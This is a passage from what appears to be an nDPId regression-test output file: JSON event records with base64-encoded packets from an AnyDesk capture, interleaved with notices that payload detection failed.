67Y0\/gkxilXfbeS7QuqhvYqVxvo\/oMUqhVNfge6JrYVYpMi5uAynlwHfE2SGVSNoAI1nFuT66J4SIbfLrKNdM96T6GzTUfV0WFHsVJCeeLbg6NFQnzjMcndEOEnUSYNVzeYyyo3UhMthIm3SsTaJPVKZ+8HbxopgD7vuh41YO+p0wNkZOmc0mdnNiqxX1jFOYJq2YbMt6qxPBaov6zdY9Ag3hWJh\/GioMS0bgIVng\/AZGaNtXi92TkTq1LY\/nCXphsIg3RX21B4XO5\/fMCp\/wop1gbUw4KOT6r\/QB9Tk6mlAsvJuT+uo0JfQM4pGEyIg7Wd9QvPYfh6hgiDzPYYIo2T\/0Yz1qYsukSWalwABkVRgCkQ1A\/0NR8+QmDM3L4rfMdBQrjBJwaikcrcDIBx2\/HAswtQ5Tu9tvhaDt5wTfdAOM82aeZlYPHLUruxVs0GdfYiB3VTtkZ9RwicklLA"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1640,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1616} +03292{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1641,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":759302,"pkt_caplen":2206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2206,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgLtAAIAGAADAqAG7wKgBstOUG56PKjUbWcQ671AYIBOExAAAFwMDCGNZ4hNO+msWW7pV6ZH4X7EWDaDYHjR9KEzL+U37nbl9Ulnh73S71uvC69Wyy5GjO7G234o5gAb3gzQvivVUIeJhwBHcXM2HLFF8fjVwbwNxApMrJ3wvDR9hNLdm2vNz7yIshu7SeweeIbUt\/7mo9kblUEt+fn5cF+h2NZn7k58AhKRrQIui4qMdV5pGoT9VcVWuYNvWA1jNvBJixQdkDvYkUnuulsHdv0ANOzPh6vq9uboGmKYUXKsqFYXfItVrUD+FC8AtF\/+wXYmXPoW179q4H6j+kpvAvCA4qUTzmHJXqXHWy6Ar84h4+v1yI+9We1CzrFFL8iTNQ4fYvcxolqf\/f7wsqdCYJjUIbt2yVmST1jU+oqpyLkccmwW8bki+w0ePKw8AXZDSO+F\/VUjepHrXuCmwhvQ77HyZ8RoGKeWJhuiWi0Hob2wv9ODWsH9JAawL13oFlh+W1mv0PGWSASIBLLGKvfIg+crvFUL7YOn3+TvMB\/WOnHPhGvaYtxmmrfZZGpuRqz\/eON1xfPoVqf7h4H8Ekou2Kq5vQENjZbCUJP3pXMufHt\/MojjNjcFsFePzfhqvEzayCi+s7ExOEix2BHejRANH32QuCYZ9H3xa2klLgcoqDzcL0WKkXqB+hKNscZ567k+pWITZuXkD56seB9Avky7XqHO9aXIoWFdETC0JCxmMuAp5LfIPURMuEFv9KxBxK2h28xnmts0lmxlwZpzUm4mcaCqHmy1ILhLpUIKFjWlY6K\/ENjSRvWmBF2jVejtYrvP\/TWYXFDqUUSy7hnz60S6uM5cVgG91nicTKCelA2JrwBekeRbAAKf0Ct+69PwIu1xQIwhvuQukGKOXmhzxjHiKzKxHx06Km\/lFqLsvBQgRBvNr8Mv8cGM5eD\/jm26xtO3nWTlqTo37LN2gkBQVuveFlIOgL2ieofO11wh2mDyZLXZA+KmR78scQwtl5ASDRhtnmUd5s384JsDVNcOKDM3XSD8UgAYEbiLj+yqQCPz5qGiNpPnlEVU48DLSJgjPBZLSmYPPH8fGfjdnALwAIS8Iv4WoWSnd7ft9wtyJle8Dx5XD0CGBuxLJNYOgTpebsKqqbSJ6sS1jAzLYj8gh6zLWY2RWExvoT47YTa7GD0DGQJoiQHTVSmnAm2Cs+0fDOz+7NXsmgdFVfuP6Occ6\/UW8\/ZewQaPV5iWiH9AYFxzYZn7wyj1+JJRVKK8hoTw5qFhedfh6gwKUL2QrUlXoc61TVv06jKmz6ZhBExyep8eF+qUc6nMvIb2r93Y+6+3WN88xR0Ug42fORktNP1C7kaLUWehqu78yBcZ4AFUsO11nEtKildR+l3thfKfMtp+b9vhJJV9oRJwv1h\/iAo6BIn5L71w7vqMPL3JZdZF\/jpkL3wthGtA\/RBYNjKm3O0CEjSVYPsocFTfnLKoG6azxKUXhJThCgwgLUYpFjSTVE0pVeeR2vDkBOb0yk3YC8WgOrLGQ1Ghlv3Fin4sr\/QzH0IqqO85s9m5E2\/GGiUojf0+XA4ZpqUYVCtNEGBaogUhYUckN0J8vpfQhd+6wHCmt5ytZJASY\/RoY3qlB8M15K\/IseF4RY1dm7gwkLJvEZgl\/t5EU\/df9f6MVcK24d10bSCwxEbDwH2GQmeyMBkjyVd37i6JHWvvvZ0GrnlSX\/Y77+lexjiqfZVEYWkAnTFzX5v+yeunsOUWL0c\/u0iLqHWfpOJW301imrU+mhMXLHNfshZFwysj002QAChuQJjSWkL379FrPNBjaCD\/Evju9tZxCdyXgxxkPLK\/G5gTMjquc4+70XDchhig+FPELlpd93AOqCrMv2tDPNX4ZA78YZAMr0OXP4iA1PjJXB9egaknXC8VEd9cgF4ZTTMEQX2pNWc0+qcfVDVW3UfbFlHf43HdMuwF4ojWM0559RliuaGj+hZlSUbqa\/wjExtuvc60P8yFLcKqkTe8HbXxEr89f2ZH2fbpX\/K+BQPd3sey8vu47+OizM3JUhwBbbq3NpAutKoJx3bPyfVXDOB1OsXeNr2RtZlnliidj60TV6o4Q6P609USW7fORjrZo3n80Nr\/LQta+jLU9S+8ikoglgUGg7+pFjH+hq9SzBVhSb7g6\/imTLv482UaDz0L7abJYEXo7nAS+kx+2WrEHxrbxwPSOCAJcGpzSvwemmB1d7iQ1QNhUq0FOwj+RyT6leTS3s9RlR8Cy1pLk\/0URnRvi8HDrvuSfyf9Qhk7KcemXomnYQhgtkre6Peb7qnb9Zvg1X0NoQCf9s9o9WvpxaLSvLM46Da2CI5blkU3NsnbkZFphJlYlez7I+3X6nsc3+LnbPRiQyl0VZ4qNpSakohA\/cTMLqp9Ggod6DuvIBY7hvetJdJwwwcdCNaHKnC1+GY4Gscv9XGHlUfxob2zFO5V5jYChv+bslrYhzIFqpTBKaA8EbNSHiGXUA0\/C0CudyNYClNvE1e8N0lmu2m6txl0\/wowhCRzqxeuIo0EGCug3nrfxuLEEk4TbXbnd070sVVlP8Ng3P1WwAXz\/4g+yXypaKYKS8l436lYMDTx\/5Py1vazxL2\/xglnrm9i8OY0uGf\/WzzrTfSjGrR8Eg2oPp7VpVrYhcoSKj1zf9USAT1mqUH\/Z0K9\/PhCARbVyzL2sCzNyOR24w9wFHbswN38gJPL7cdgmHn6j9IM7LF+zzZvvK4KXZWZPbtEtl8Z3oTuedOHnPQceqdpbBrTZeYlejDAswTodslH3K\/i35n0A4PcCX\/uIxWCb4pubX\/51HB6+zwSMSMvZ0mos7OFDIoJs3uSFmbCVuxabRgnmYcJvaaqaQhy0m62uzWS7h+Z+Hu8yVAkrTQdhpTSXe2lKbF4zeNQowQPLjg=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1641,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2172} +07861{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1644,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":761846,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgL1AAIAGAADAqAG7wKgBstOUG56PKj2DWcQ671AYIBOExAAAFwMDFXlZ4hNO+msWXNei6s4OOUMjWJLTlJhhW1AmnkVhoJ3FhTYSgWx9d\/SmujRtgFY4g+mMSQqhcTIugr6ELRWetWIy2Msw\/YzfNr9JFxqW0aw9qwN5C8KlIs\/fG\/Nh1FwiPOG0dr2Fz2ljObyq2elH45ydQTWwd4AGXbbQXSY5eaAtU\/gafwrX77IVy7pAV\/D48M+y\/c4xH+Lmwjy2CJTxjoZeq2b+pv8D3JR7wJVVB303x5VtizsmQV\/Z7\/9gAu8ew5WIPV+0mTN+pL1Bgy5mJVX+DbAgtD9m1jfut+yCNvU5Jsa8VQVv2Kww6DMsDVH6GGcBkLTcIvBV8gvDJ76Uazg3Oe3XHx8pF7vAev1OpAsKF3mR4Rgdol9ZxSHbS2PY\/t7zxYdI2vNBI3qIlYlROvY+zL82wT76sAd70OeWilX3RjZ9sSMolj04DrPzXytxVpo1ELpQFj+311jmoeBWyNydVAYQtGuL\/Ni8aLVToWVJjFEiLCMf\/nY1boXAB17mR2P7yqpeGAPdxFj5bYfvhBEpGZwVxUFuGjMUxz+ueBAMzJzMRXg\/O6djQR01zd9zYxvpkjGxdHmOfbkzAolpcE+GT\/P4Fuq\/kUo88uUGJbSAeD79B8LTIxbFDSNgL11Hi5q0dV4fNRUOVltZ14A1u9M5spLXgdEoECAR9JWAtmtiVM7nBs\/Q0ASsxiCIxUOrwOoFxirbWXpAxYYlpcYxa7ZjSknDrwV3Qx5SBDMeO1GQ7O8a9I2b8BkR7HTxMONuOiBET6GzSREPsn9K\/f5HPTebzSBUNZ\/MitGKSnrYJXu57RpLDOERxqCYXs7cgGYNlDc7\/809nEwOTSpMFwENLymrlep+yBnSEP+lgRE+HjI\/NUkQdodebiIO0WKD2myiJDfZ0hJ2OVlk6fHhR8pjPYoOWgfYG2G5N+jXvGX1bggGH9bcl3cCdR+68F7vSz5b2+g\/eY04WNcj4mzX4a3YDcgtvgEaSArq+0yliNsOym+CciNIVUaJhuIWQ1vf6CKLZx1V8HS6KMF\/4cUMZXNtwMk+5UPpSJ8qHwLiQNY7cOqs4Y\/NyFgggCuXjL2e+olBxeEM\/YNVclov\/xvHtIqqQ+pN0LwNvt0kwgopDCB0\/jXm\/0QWW7Gk0KCPzEjWkTqlJYdz\/aTX\/pV13qy5AhFLNcCSWu+caeMxJWGcK5IVc3jUGK187j\/YEHjyfO7rAZ1C5TjabGotzkUwJ6AK018kgk1t3HXGLcEy+KOWxQQeo3Fpxua6\/fbQVnnzDEA\/zSl2\/+vYX9CptfNzM3JaeUaVLBMImYeXoeGU73qQhJ05vPYZX6\/SlCvtN4BVFjQ3OU2055x0QvxwcUsTwkk7\/mQpcr3GbtYTPNjRQYSXMfFT\/JqI\/EQJK96S1wTN94VYHid1nh5eaTacGg+98fmZOT7tcg\/\/MC0yB2RfgVJ2LnfMywhulHw6YYZky6Lw4+b\/n4yLRuoMdfT8gFAPqnizdoA4YOtDW+LJlEkvlZCtvVDH8F0yWx0oHHBWRI2zfgItpyR9oGu46LIgiued5VN\/RIbiSBrJ7dX7lJTwBTNJn1g2xFBAhV9gdRqs2UDjZLMPPaRmYOfVJXxc3s8PfYA44dWcpcNag8PmRbhN1JgFwU\/FQbgmVfQQWOupQpt6SdPa79TeLptqEVYWNKdIZxhv7pxbr7emK1v8gA23AR+ZtQbasff0KWDYYe\/YL\/JaRMG+PeGdOL6r\/Ggqdgi4aYXBzbdwaCZMNvIYKda7JAIG3wTeMMDPrEHGgeMPTg4TUPMl6zDjiX77tI1\/h5lkyUO15MI9C4ruZpyVxbkeh5SeZFvFaBuGdAYowjvu\/HD9U+aDPOmMtRyLOycUewRTwnVQZ3kqhtRb4W03QjciFTc8qeTLDWXz4vt8fCd54P5sxgmxwRjpnKwewwGd7x236OlN0yS6mm40C0cBfYDJVx8kANYW+aDFWHQVNJbPnI3pAU605j+QXYv9tjUp2kVITv0nq7nQaq7lcDmaXQiGcPZ3P5fd7c9eEtVgwimY\/rs87E2vy2VDvKMTlVnBQQWpvNyBSLStd0WphOtI1IaxzgNCa8wkZHjmhTS78sKYDgohdjdzcPn09ocT\/\/g3WjnOiGhzXkyn9woBO+5IlfOIN\/6M\/7RiEzOYJgs71WdQgmq\/UxhcY80+dqH+JocEFSbTHr\/PUa1GqWWcmg5qo\/0h6MdwPDrOhNMkysxLDIbclF3SgDAjfWcyZK5VOlrTdasTJHkfRO7dsp1FCN8GxpeaKHzLw6wceGF3qzGELRfkE9M2QxwswGh6GoW0I9vQIw57QbxaBwlImEbssZEkvpGgwDch6VmLOF6ig\/L98TbYd\/W+IyvDFoEkB1rmEc60WSmpj6odwSNUVscTcTi0rZY6Y413Tcca9g7U+nghrtnjULZm\/yfdY5kHe3adXBOMOtGdOHvgVEhuxJVUnBocQAFsSCNUjuOgb\/kQx+jXVILSW52SPWTj8PRDxZcqj\/bSo4ekQV0zskkgE8NRSGIYRDLQuqdfi5uScrfFSTu+NTWT4ZSjNopw9XSQmml9VIaZkTzk7cLbLEBY5dPED+5MG5JoaKQILzSV\/NIydg+TyRSu4m+cr\/yxZKwJnxwv+497+rbla47DAShgS7\/Tx7sqPkgcnMFe2JFmSc2dO2G+y0zrm\/ygtCxxegES3TA3XVX8sjtqnSTpvAuvH3hIUKdcGkO\/uQEpYwljN2Yl0biTmW3\/GH\/kaRJy16EhlXjEeKdpWApE0bKGnM1RC8jtbg6Hwrxl\/Uol9N+nkOsc7iiZk+Ml3mKQqLc3MD3P0PzlmFGj3HYWBgl\/6ibc6Cmna9bdos+uCvZdscavdFWfvS2St+n28qtLvd\/ycGaq6UK3RxO4D8GgSPp\/o4Cdb+Dzh3YeeBH4+NGsVkIyNMfM\/qesIOE8prwmHTb8wrNuUXy1CCSN394EP3FPGVuLM7ZpnsvP7xUiGgC4XpThuNuSEC+k1TzoVsibhB6cBhSGRus0qQjqWjQRw2WqvGvhLELHhyCV0tA5BALk2Rkhdw1etUdUfnK+A5DM36xirYoUzHmq+Ks4zJsCUBAw084rxZPIr1M91TtsSVZM6lvY0n\/Dvxp0eor\/hAGgp3vpFaqv9s7edG45\/suK7L5rAg7y6efweXn+J8Jqar+bsTsvx6MGbuiHSt6PrbdYr86cV64m8lK\/FFv3sbmbgYp7aJcTqkrA1\/ERu5IbQI4GE0rBteaKJUISPMViyvOj7YcMBwnUwQyZZJ++ljfsqpgbFep9tn1bKVjd4CHeFFAMFw+Sst8JeGj3GyeAxQ\/RSrafAL8lvwPDzGpSVOI9oR4RollzUvPtIus5atsat\/+J57wRjWjzXfiWJdfqxlKWsvUyb9zm2tQNbiui7L7VljgdKxYPSEtmFPp+UTiIuIW8PVEjMb3HLgh7auygEWIQXzWifpCj6DYqBsqRModQS1u\/Pc7aMqaAbBOg6RN9GxEi6vVGgQAbVRGydm3eq+Yjm\/YlBYGw+DHiodT38kNlmE1\/UkyyeqN8Et4zV4SwrEHhOW35Be0O17bXIzPRKNLzkP1OA4idAjGyrWyjZblzcs8qoc618ycUmPrm7soTyL\/4b2GyGEy2+sF\/u1yxtZ1IlTMIVHbtl5pf1qKX2b\/B1f31CHMP2giQAGc\/ogycImsaJgaOHzE57JwqpmhKiTGC4obB5FlC3IAg2YvfrkCjqdRnpdI9zTfH53iseW3DsP1D7K2C3\/PxYamXASNFvpNFCNmO8w\/+CAdIHjux8894eJbPgUhccUmG5rCllAILLyx5LrgsHOPZ603M\/IelC1VpIXS3fUWXWcRuTAhR4aUxO2SoDqJcrZj41J4HiVR23cW4qKoLfkCaINqVat6N4hRtwGuLiLNsryjixWfoubeCdSKdmSBilGlVpeWBVuLuCWvHCrfKZ1ouEOnIBcrpX+S4hbGfaEKRyBJXpsiGSxSZcs933CfUQZ86GgNVc6OKnoMp9rxt3uSRKmxtZruNtt2TI9WM+HieTv95H8p1IEVT8gDO\/wlXZI57UkoE7UJ04Ae1bMcA+iuV5lzXPqtDQ5YgPr4KpE+uhP0x2yrP0EUlCiX5ZNpZ2pR69hswm8LH0+q+zek7vUorgm4oY9ii+M7ckbPmN1mjf3Y7OdX71+CrzWF3g1wK\/f8hFLqjQTuKYQH4Ri\/EG6dcOyULQeC5k\/buHy0HyCdpoJXzYMUwh2LX8Js9a3u+qnSg8n9jne1ahYVXczpc3i5SFerDJiMwhmK\/LLeHpuxqDkTxHPQoNnog3N7wE\/kPB1jdjON+ooGgCA01NKjU4pHcexvG2x+TEB7l+IKqi6HttKolzQJDSgXF03lc4Stslkhxi04ftxUerHHVuhq07MITcoZ2eDmYkPe94XCIudsSIkizv3b5sZquntSzdRy4McyHsNTSOAKbn5d7rwo\/G0LOjO4ZHu1JjHyGzajrVibpCWWGl8HsyItrCqzE6A0Da7Sw7vFwyg3zs63djru62Ds4qOJ0YlSxVUdGcOzv6XzgLz5rpcDWswoq6\/BaYgc2\/PwByJFIXl2CalinafB2wslR0a0l8+KQzAGw1UJTYRxxvx3gQ67jOVnyWC6BUPiAAdM8qs4jHlNamyluB8UzUPRAwd7sksYXZTE0zpyM4VaEGv9\/ipXBNp7nfwJxuorI1Ls2oZhWLHITBPY04mCbcjWkYbjg86Fwkj5caPm+Sh\/noGbLbvBwXjxAnbQGh4blpjK6BvpWXVOnScnrBriG6pKH7\/JTNXTEyJNmFlnK7lmjpnIb1y7IyQRPjH9rSB4R4IHn1LWDUpWWTtDJNH5+sj+SFHjMWBf6k7L9LL1\/fdoVyV9B2XhZ2nVSt7yLK\/hz+EEdMo2G1HQmLPhdgc+XmwiyZl913FOWIIDBXMPCxBS8ERcL8uVwTCZ9zZvnIrWUfCEhE4dVpxVSpNR6i\/7HeimGxn08Mck\/kDlXoc4S0xJR\/+uIE2j5+pmnWtRNiP\/mFfIk+\/TgA6KMEVwOz2PWKT3XZxtndSk+00LHuEQTb4jDdX3LhcUzmy0Syh9aTtFrYTz0CYKFjtRU93OP\/kJIbN5qfUA0jEH4kfic9svSUuljTQbznq3PMfHtzEybXr6BAdcUK7GJbi16a3pr8BulRSlGCqh7jeww7mwgvBOKPfiMAby6fnf1\/a\/fHsLh9McIkYg\/K35dh8XyRidWuwHrlLiTKlCh0WybbFuGf1yUye2iriSqfkYuNxxIfepN3V46qSjriR8b3+2flYpvAq94K0J98knKAviWXvrbZD6r\/UmK3RK0etlkhThZPDbA9t4A6ryH3LbBaQp5Z\/pdl9QOxOkedrGUO95cdMuXtX2xFas+DgrNygTP9fyF+Vl2shUtjqs3crsOL7hf3N2CzOtWCjuu\/FKokU+XJ9GNKw1\/IjvmYiuX3Nfg1c78eeY6xJLwNyIVpgcNdr2WQbNQDIyXZumxhlfCzIVidIadp9OCV62\/jlx769eOXgqys6SsDtssVcbXDHR2sNqGKY7LPtLhT0Y2tOt\/oP5UW7d+wQAnXx363BSWJzQTuAFPzeGaqj\/wajVyNDl3ywdNhvxsWFBtktSsJqJ+WJbP\/f4hUCBH78nkbutcyeaHs+veDwl0+CtqumyY6+lcfwoQ4MmHXmLHYz9SwEV+hJrVBsEiB+M2ojAiLzjqQQF5dOEuYhnsSKTtXUQWjsSA7VelqW1EbD+Cpd\/oTCAite0OAHxS\/ydekT+DCeg5\/CVlxYCn+TVTbPf+k6VtfUReFFgXk74HI3UZ0J9tM\/XzSRTfD5esDA+H8ZfEzRdZQecB70oCum9BSMbobpr5\/AY1wTFHKu+VmLLn2STrfksTomUH2rGw76ozKpkJpnCcAyHPcHXHd63uL3etzApYpBUeK40yItM0KxWhHA81qrunl2dkSh\/z1AXzgt8nxL7Sv2NSHCIt9UX5W1G7CxmwKyywOr18GqYz2geVcb0ZJ4yOWJXB5727drdCxOHeAB41jKYVTK2nLJX8PJV+WooaWgQgfjjyIQU+5+U2B9WkszXR7o7n0w\/UKHbiIFaeVsaWOUcJQCsIgy1atTFlG0QLzSx5DV4Bs2SS8IAKVrftEBzz+JKOFhVF9lCUSPidx4bgi0c09wB4oK06\/LluK3mNmLLOWH5XDRUBxi5BOGLtIL04l+0oe8jqvkc9H+pjgDJyIhAlx3o+4EBrRBnycDOcMKttqwj56W8+9CrQBPQaA53SD0YMzE4u1PZ65Wg+KWL51HmrdNwX+MmyHdJt3z\/To2bQQl87UI7nyBisyFNuB8L8XArPACFucDzLgN5cZMVQV47Aga1VJdiE+rL8wHq9ch4aJ5\/N3xlhcu5r7H8jtgRe9eHXXBlhpKrNn+LMq+7X8ZITJGcuKdVBHDEmyIA5OA9ETZ4ylWdcsv6gQKC0j3XcIubtUDnC5et9owC6ORLSU4oggjgdqcJbGH95H019AIEZgWY3oLmO5DYe4FkHuP8BzJzNs53nSlmTv6WjKwl9DPW4UqsT73vAYldGjo9hkv7KTinoMUQtg7tweM1Q8eCX3\/ZpR0z4Uk6Qy8PBcRDV0s7+IVBavGMgM4HgI\/EJ8s8oyCpgkjkNDPgmXubAObclQp+Jjtyo1x+eWwsKuRtJcNJDFmiAmxnqBBE4dFJmXMXsLJid4iYyT0SqlKYA1MGtsgqjEVehGafMuiXb9WRTn6QGyNDQS215kEcv\/l70y1fEuvn4t3PfL0oz3\/WiiSLuXD2sGxHc2I75LcEU3nu3w7bbn\/x7I4HT5pmqqf\/4dnmv85gDezT61N4QWnQIrTeimgEXaeq2WvHydjq0YxM4wlpZYvH5mQe+5\/vWskUTMxv8\/u0e6yEem7G49edvTeWr+xOb0uH37R+SdTSHIhyl\/isNyAz02+bunIJBwSe66uQqSyy5XU5924BbaOWPBQIl\/ml75I7l+M4E8eZaR\/3UORRUbpkRTaYzur9mqySUekPCU2314yH2xlPdO\/BIbsIiK6WCI8aI2FhvMxzIOMxOW+9Y0XgcUmSUBpsr3fz7mANcBu4hmZY7fNafxGj7nAt8BaIpOl03QnIYfWOJHVjR48iHH3y+Cm4kkfp2ap33vQbnDEUbBR46duiwNUJI\/TzCPVPK67C8Su+jBPYc801oy7B5OwtMJbjfJu9V3RTsxzYoQI0otRs\/Mky\/IE\/nECCiR1VL9J4avtglYGQYgvFWp2MRRO+n8XigMOrgCbn3PGS9EXrUD+\/LXJBfit6\/a1jm21UL8vAvFNdUIPEYOnsTJrOLFhF6sE6Dvt0oEd8eZN0cSGlPurCU"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1644,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +02850{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1645,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":761874,"pkt_caplen":1873,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1873,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgMFAAIAGAADAqAG7wKgBstOUG56PKlMBWcQ671AYIBOExAAAFwMDBxZZ4hNO+msWXRfHUVnpCJ2ALOZ+vCA8WGab0xKeBbIc98HaAXuRkeno0xy3MoUH3i1FQD9SUzBu0wa0Fug7SwXornX2ZbL9gzDkNUlYiKHgrmiwXkxhecd2UiRLvdlxnLHRiUGYx\/XgY8se0NGBxzUGRWzzOX4w2LuNEBJBGRA+\/CYoDSsnawF2tnzRaorRH3f7q5w9MgR2Jj9c2bp57\/Movs4jrMQCfrFFhuT0Y7vRvC8LybE9PHvqY6N+ZZSHIrJOdGOW+wIrUjILXVSjuvcL+34KasWD15r+XruFimDXtK8e4oxX7Ws610\/VHc5Bdz3KZEyNc8bII+k\/Si2efN8pUo5qLzMTTHL0AAzujnragLR2TPU87heAhB6eq6fDZq+Xz4XACTp8Gv+l5wG7IVwkneW9s+UDBCGh2cA79dcFGz6H+PJ3QCj0PsTyRNGwTOnw61H10i7qOoPZs+K6bklDDkPxKKjwT1Rhaw5MQmhddspKcSGB7hpW0fOgpLJWPjD+JiBX1s\/guuMXr\/A4BZpgN0AV1RXKiWs8SWIZUhR\/C0fbD3fxbNuAK\/i7L1lQO0tTaVbgGu5o+9XHLuIajtaRvVqz46rbaHK0hc9qtxcxfYq72ro2v76aMGs9BzXT7wUJ+UmjmjN3embZGlP57Epm4joUvYEhIC0m192JIJZSTJezk\/Sj077msI8RJCT4NQWNqIdgyoTpg9g\/ortayry6Tl\/\/pGS0oDZWimjNNSt1gQG68ato7YXJ9i+c711Yz0sU32G6rJsob35xgAauljA4ruWUfigZc+jaahikhKEUxF\/V9p0ypw6E\/mFJZtXg6y5N170YV43ORs01wwto9Ac1Mx+dvfhNXsqimDe4Lnbj3bh6sCOgN6ZbxlBgLWCLIl6Og2RYYqpw1rIMLtZ064h6TET768sHUuh\/ROze6OZ5pL1CMtvS5KDsuR9hTQu3v7EP5PdgQu2ziLFLIldZvWJ7YJHh+b0rTx6lYSh5ODI2\/Q2y2XJ4drxrS36YjsHKNZd1gOgIxDdRcnn9aXc4CaYb5Q9Iz\/EKvrytUz+2Lh20C12WmEkPvtTvhWUdmbFL25V62mSA8c7t4mPqn5ynbXFkEm74z\/1KtNqu1wZMrGVg\/2WvgNBTOsJJi8WpELVwmwB5svPbkHiiQqiM4tNCG\/KPxJWqvl8F0Yvf80P4GoTwlMRd44Qngt5KMTqL18aIcN4xIzKumtRdQRJXJ+zpsrNYkrKt7RD5YXpE1sQP1RKWXd\/bsl+OxXruTpQyJu6aY9s+NajK7ZEzN+lSPTAlUPbObR2Zb3o2GpAuKcDu\/Lm205w2Fq73sxo3XswGmA7qfriC7G4zWXS1GC\/+KtdRqdo+56HCwrDVa60fhX\/HM4A5dWPa+pDZlRD5l7RTMYw1jEKMMfUITKDTGtcKzibIR+QBfWG4OhddQoJYG7+KBU+yDh8qLvkBd0kR4qdBLzecS4MAAOWpr1\/tdQ2T8OUOf\/fRfiyJVK4GkfSCgnDmcz0FvOUqfNNwT\/33ZykVthoJnqF1voHSYwGNBBX9Vb1d1lyIzA2rsTOwI49Rt3Tz4hQqrEqKUU3aJe6fEkw7G6wUne4WPw7cKgpkRTR6PF0zr9lnId7W1yjCI8V38abuZKAk6nCL1GHKlAy8an90jnG4Rz7PvMEVF+JmpS3FYeBqjF+fLWLK46yyRgPnfKBCNblqR5\/M7sktYXAfGpjItnAgP96wfL4O2RKMBEz05YFsGNOdSuV7\/dJ7xmmAofR\/45KdDTpMY\/lcP2j+2FgysEXmf\/LwlLUkCwr7iZsoV8020WV4ljRREsXqKzZeCCNvhO4\/TG6uonU3gTON\/NBq\/Uyh3vhXwe4MuqFOgJ\/oSXv81mV\/M79KvrPRJuBnUwUfWJ0zetZChIZlEp9NYs6rNEeGuYo5STgqSSfMEgpeW\/Sfvs4pp76aumKtyF+DlIdlUwf8AHyZvA4uZDKZzfiuUykFhMqyqgufV9EQEZm2qrIGLcYMcmGuceyR++I7Q\/onAe3lHxI0tvvmWJCn4cRUTRDfb8uhkJNeNt4DV+ATHCVUKJ5A89OSN2zAk+t70VYtAEuIzmFz3pnvLHHvfdYmfO4wzOMt88UJP2mwmtlftSlzECEgcHcM\/C1Pd71ZZO5YtEA01Orag8\/EnjvjZv1Kj5r6hQL61Z5SX\/qoLfSuzReN2zabLbRBAGlcI\/bp8TolxneXBupRypLqpsXnfpwKHJxqL5Fg+kfLEy1zNkrNbfn7QlVug1FHQ60LXk+HU2YkI7W17crnexr\/Zb0VNAEorJswnX1GkbUtL9Ta5+0tPljthLhYTZdh0QXJdVTLkV8QXQ9RbOZx667lVcEs0slSvOPaCfLPzKqfFCdUwDnVSt4wsrUsQ815yQz2ibErZYehnPPzcUzov6NZTw=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1645,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1839} +07819{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1648,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":764553,"pkt_caplen":5557,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5557,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgMNAAIAGAADAqAG7wKgBstOUG56PKlocWcQ671AYIBOExAAAFwMDFXpZ4hNO+msWXk89fVbJOBRvA+zUb+220Ux+D8FUzqsn+qnrfZ8L21GhllRGob9QmUxl1NivPTZFdzdPO8+DxHF4y8SzOZwOfUZf+Fwt5mW6su6Nk4daifcOAJOXEFENGsgMQ2cK3cfCiHq1TrOLNxw5fOPwk5zFyScjUieP6kFUX9Cgk2BnICWEe5FmKs1ConZW+HdkzNFc3xExL+Ws+sTHZpojJu1Js05RjUwpyInmEt0e4Q5hD7cJ2ixLY5\/R5htOjTOH4GcK3M2RnsnFtie\/AmsNrLdhGQDpEF3AVJ1bmEWaQIuRdRl99v8OafCYYyS4pT3RP6d\/+wEtkiOeQmA8Ifa8uW8I8Nq2KAGe56VB4FZ348UGwPqhsOTRC2WHWhaSUdnP7cG9vM15fPm4xrGbWZA\/FoTqelnhdbgFa2Wjmrna2qjUWPV\/IVdGoIFiyNFpMw830lC1Oh7zkbSsZto7mC0987MZY3seWqfZykosYyNVSDPCUK9+1EGMgBLdmdYECf\/eZR91mUNsPLsFvr8eozuWhdaOlsVFT4RxRBr0lV+W10dvVQvDAQQ2mACY10QwIEvRK0NOAPiSOLzrgMw7UuZL29tzvWNBN4rLq\/zGGa6Wjha4G39jDHlW+Ntmoof+mbYtwZAwEVWBXkqlgphFzqg9TFBMXaMs+VV9Wh29zHIKTtyJAVjHXNS+3TDeDoio\/cPtv5CVV5Gh+vwO4VJLMTWW5I5\/HErll0VHwUY2LK+LM8s8xVHUpsAbj1cGzmXGtUXcUr1oE0\/arHFE8FFB8Q40OuaB2qIzmgMTi2dkO4\/dIAPHlrIR5tnUqk6xRr\/U0cON5dhMcQg5QV41moiNXOY8OHJzQWAG2HeiNKW\/ol7Igz2RpHfmUTqSxzSN2e0ZFHh5izOMkGfTYcfVZ+TiyXdxKSPDP7CokIoRKxRxWtK7A+DTBD\/1aqJVIon0r74hB1